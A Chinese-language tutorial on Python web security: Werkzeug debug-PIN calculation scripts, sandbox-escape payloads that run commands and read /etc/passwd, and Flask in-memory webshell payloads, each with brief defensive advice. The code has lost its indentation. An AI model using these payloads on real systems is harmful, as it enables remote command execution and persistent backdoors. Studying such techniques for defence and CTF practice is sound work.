PYTHON的安全问题总结
字数 1307 2025-08-22 12:22:48
Python安全漏洞与防御技术详解
一、Werkzeug Pin码攻击
1.1 漏洞原理
在Werkzeug开启debug模式时,会生成一个用于调试控制台的Pin码。该Pin码的生成基于以下因素:
-
probably_public_bits:
- username: 通过/etc/passwd获取
- modname: 默认为flask.app
- getattr(app, 'name', app.class.name): 默认为Flask
- getattr(mod, 'file', None): Flask所在路径
-
private_bits:
- str(uuid.getnode()): MAC地址的十进制值
- get_machine_id(): 从/etc/machine-id、/proc/sys/kernel/random/boot_id或/proc/self/cgroup获取
1.2 攻击方法
低版本(MD5哈希)攻击脚本
import hashlib
from itertools import chain
probably_public_bits = [
'root', # username
'flask.app', # modname
'Flask', # appname
'/usr/local/lib/python3.7/site-packages/flask/app.py' # moddir
]
private_bits = [
'25214234362297', # mac十进制值
'0402a7ff83cc48b41b227763d03b386cb5040585c82f3b99aa3ad120ae69ebaa' # /etc/machine-id
]
h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')
cookie_name = '__wzd' + h.hexdigest()[:20]
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]
rv = None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num
print(rv)
高版本(SHA1哈希)攻击脚本
import hashlib
from itertools import chain
probably_public_bits = [
'root', # /etc/passwd
'flask.app', # 默认值
'Flask', # 默认值
'/usr/local/lib/python3.8/site-packages/flask/app.py' # moddir
]
private_bits = [
'2485377568585', # /sys/class/net/eth0/address 十进制
'653dc458-4634-42b1-9a7a-b22a082e1fce898ba65fb61b89725c91a48c418b81bf98bd269b6f97002c3d8f69da8594d2d2' # machine-id
]
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')
cookie_name = '__wzd' + h.hexdigest()[:20]
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]
rv = None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num
print(rv)
1.3 防御措施
- 生产环境关闭debug模式
- 使用最新版本Werkzeug
- 设置WERKZEUG_DEBUG_PIN环境变量为"off"禁用Pin码
二、Python沙盒逃逸(Pyjail)
2.1 危险函数
命令执行函数
# os
os.system('whoami')
os.popen('whoami').read()
# subprocess
subprocess.run('whoami', shell=True)
subprocess.getoutput('whoami')
subprocess.getstatusoutput('whoami')
# danger method
eval('os.system("whoami")')
exec('os.system("whoami")')
# commands (Python2)
commands.getoutput('ifconfig')
commands.getstatusoutput('ifconfig')
# pty
pty.spawn("ls")
2.2 导入模块方法
1. 常规导入
import os
import sys
2. __import__函数
delete = __import__("pbzznaqf".decode('rot_13'))
print delete.getoutput('ifconfig')
3. importlib库
import importlib
importlib.import_module('os').system('ls')
4. exec/eval/execfile/compile
exec("__import__('os').system('whoami')")
eval("__import__('os').system('whoami')")
execfile('/usr/lib/python2.7/os.py') # 仅python2
system('whoami')
exec(compile("__import__('os').system('whoami')", '<string>', 'exec'))
5. with open
with open('/usr/lib/python3.6/os.py', 'r') as f:
exec(f.read())
system('ls')
6. timeit
timeit.timeit("__import__('os').system('whoami')", number=1)
7. platform (仅Python2.7)
import platform
print(platform.popen('whoami').read())
2.3 绕过限制技巧
1. 内置模块(builtins)
# Python2
import __builtin__
__builtin__
# Python3
import builtins
builtins
2. 恢复被删除的builtins
# Python2
reload(__builtin__)
# Python3
import imp
imp.reload(__builtin__)
3. 绝对路径导入
import sys
sys.modules['os'] = '/usr/lib/python2.7/os.py'
import os
4. 过滤sys的绕过
exec("__import__('os').system('whoami')")
eval("__import__('os').system('whoami')")
execfile('/usr/lib/python2.7/os.py') # 仅python2
system('whoami')
exec(compile("__import__('os').system('whoami')", '<string>', 'exec'))
2.4 文件读写方法
1. file (仅Python2)
file('/etc/passwd').read()
file('demo.txt', 'w').write('xxx')
2. open
open('/etc/passwd').read()
open('demo.txt', 'w').write('xxx')
3. codecs
import codecs
codecs.open('/etc/passwd').read()
codecs.open('demo.txt', 'w').write('xxx')
2.5 高级绕过技术
1. F修饰符 (Python3.6+)
f'{__import__("os").system("whoami")}'
2. base64编码
import base64
base64.b64encode('__import__')
base64.b64encode('os')
__builtins__.__dict__['X19pbXBvcnRfXw=='.decode('base64')]('b3M='.decode('base64'))
3. 过滤globals的绕过
''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals['__builtins__']['__import__']('os').system('whoami')
2.6 常用Payload
1. 第一种遍历方式
''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()
''.__class__.__mro__[2].__subclasses__()[40]('/tmp/shell.sh', 'w').write('/bin/bash xxxx')
2. 第二种遍历方式
# linecache利用
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['linecache'].__dict__['os'].system('whoami')
# __builtins__利用
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['__import__']('os').system('whoami')
# sys利用
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['sys'].modules['os'].system('whoami')
# os直接利用
''.__class__.__mro__[2].__subclasses__()[72].__init__.__globals__['os'].system('whoami')
三、Flask内存马
3.1 低版本实现(add_url_rule)
Payload
url_for.__globals__['__builtins__']['eval'](
"app.add_url_rule('/shell', 'shell', lambda :__import__('os').popen(_request_ctx_stack.top.request.args.get('cmd', 'whoami')).read())",
{'_request_ctx_stack': url_for.__globals__['_request_ctx_stack'], 'app': url_for.__globals__['current_app']}
)
3.2 高版本实现
1. before_request
eval("__import__('sys').modules['__main__'].__dict__['app'].before_request_funcs.setdefault(None,[]).append(lambda :__import__('os').popen('dir').read())")
2. after_request
eval("app.after_request_funcs.setdefault(None, []).append(lambda resp: CmdResp if request.args.get('cmd') and exec(\" global CmdResp;CmdResp=__import__( \' flask \' ).make_response(__import__( \' os \' ).popen(request.args.get( \' cmd \' )).read()) \")==None else resp)")
3. errorhandler
exec("global exc_class;global code;exc_class, code = app._get_exc_class_and_code(404);app.error_handler_spec[None][code][exc_class] = lambda a:__import__('os').popen(request.args.get('gxngxngxn')).read()")
3.3 防御措施
- 避免在视图函数中使用eval/exec等危险函数
- 对用户输入进行严格过滤
- 使用最新版本Flask框架
- 监控异常路由注册行为
四、总结
本文详细介绍了Python Web开发中常见的安全问题,包括Werkzeug Pin码攻击、Python沙盒逃逸技术和Flask内存马实现。这些技术展示了攻击者如何利用Python特性和框架漏洞获取系统权限或持久化访问。防御这些攻击需要开发者:
- 保持框架和依赖库更新
- 生产环境关闭调试模式
- 严格过滤用户输入
- 限制危险函数和模块的使用
- 实施最小权限原则
- 监控异常行为
通过理解这些攻击原理和防御措施,开发者可以构建更安全的Python Web应用。